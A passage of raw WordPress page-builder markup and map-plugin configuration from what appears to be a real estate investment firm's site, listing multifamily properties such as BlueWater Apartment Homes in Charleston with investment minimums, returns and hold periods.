background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>350-unit, Bluewater at Bolton's Landing apartment community. The asset is a 3-story garden apartment community located in the highly established West Ashley submarket of the Charleston MSA. Completed in 2019, this community was thoughtfully designed with stately architecture, quality floor plans and a serene landscape making it one of the premier communities in Charleston.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$28,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"post_link\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"%_wpgmp_location_city%\":\"Charleston\",\"%_wpgmp_location_state%\":\"South Carolina\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"32.8032885\",\"%_wpgmp_metabox_longitude%\":\"-80.1013495\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10684\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10667\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"9256\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633524799:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10667,\"infowindow_disable\":false}],\"styles\":\"[{\"featureType\":\"administrative\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"color\":\"#a2a5bc\"}]},{\"featureType\":\"administrative\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#2d2d2d\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative.country\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"1\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"weight\":\"5.00\"},{\"color\":\"#f6f9fc\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#f6f9fc\"},{\"visibility\":\"simplified\"}]},{\"featureType\":\"landscape.natural.landcover\",\"elementType\":\"labels.text\",\"stylers\":[{\"color\":\"#ff0000\"}]},{\"featureType\":\"landscape.natural.terrain\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"saturation\":\"1\"},{\"lightness\":\"30\"},{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":\"-100\"},{\"lightness\":\"14\"},{\"visibility\":\"on\"},{\"weight\":\"1.50\"},{\"gamma\":\"1\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"saturation\":\"0\"},{\"lightness\":\"0\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.highway.controlled_access\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"lightness\":\"60\"},{\"color\":\"#cccfdc\"},{\"saturation\":\"0\"},{\"gamma\":\"1.50\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#cccfdc\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#cccfdc\"}]}]\",\"marker_cluster\":\"\/\",\"map_property\":{\"map_id\":\"7\",\"debug_mode\":false},\"shapes\":{\"drawing_editable\":false},\"filters\":{\"filters_container\":\"[data-container=\"wpgmp-filters-container\"]\"}}).data(\"wpgmp_maps\");});<\/script><\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_7 section-become-an-investor et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_11\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_23  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_35  et_pb_text_align_center et_pb_bg_layout_dark\">nttttnttttntttt<div class=\"et_pb_text_inner\">CPI Capital helps busy professionals to earn passive income through real estate investing so they could have more time freedom to live a more abundant life.<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_button_module_wrapper et_pb_button_1_wrapper et_pb_button_alignment_center et_pb_module \">ntttt<a class=\"et_pb_button et_pb_button_1 dark-bg et_pb_bg_layout_dark\" href=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&#038;__hssc=230844480.25.1633419575663&#038;__hsfp=3601630007\" target=\"_blank\">become an investor<\/a>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><\/p>n\",\"%_et_pb_truncate_post_date%\":\"2021-10-17 02:04:30\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"10730\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10724\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1633429755:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10724,\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"BlueWater Apartment Homes at Boltonu2019s Landing\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/bluewater\/\">BlueWater Apartment Homes at Boltonu2019s Landing<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"1680 Bluewater Way, Charleston, SC 29414, USA\",\"location\":{\"lat\":\"32.8032885\",\"city\":\"Charleston\",\"state\":\"South Carolina\",\"country\":\"United States\",\"lng\":\"-80.1013495\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/bluewater\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-02.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-03.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-04.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-05.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-06.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-07.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-08.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-09.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-10.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-11.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-12.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-13.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-14.jpg\" alt=\"BlueWater Apartment Homes\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\"]Charleston, South Carolina[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]23.8%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text 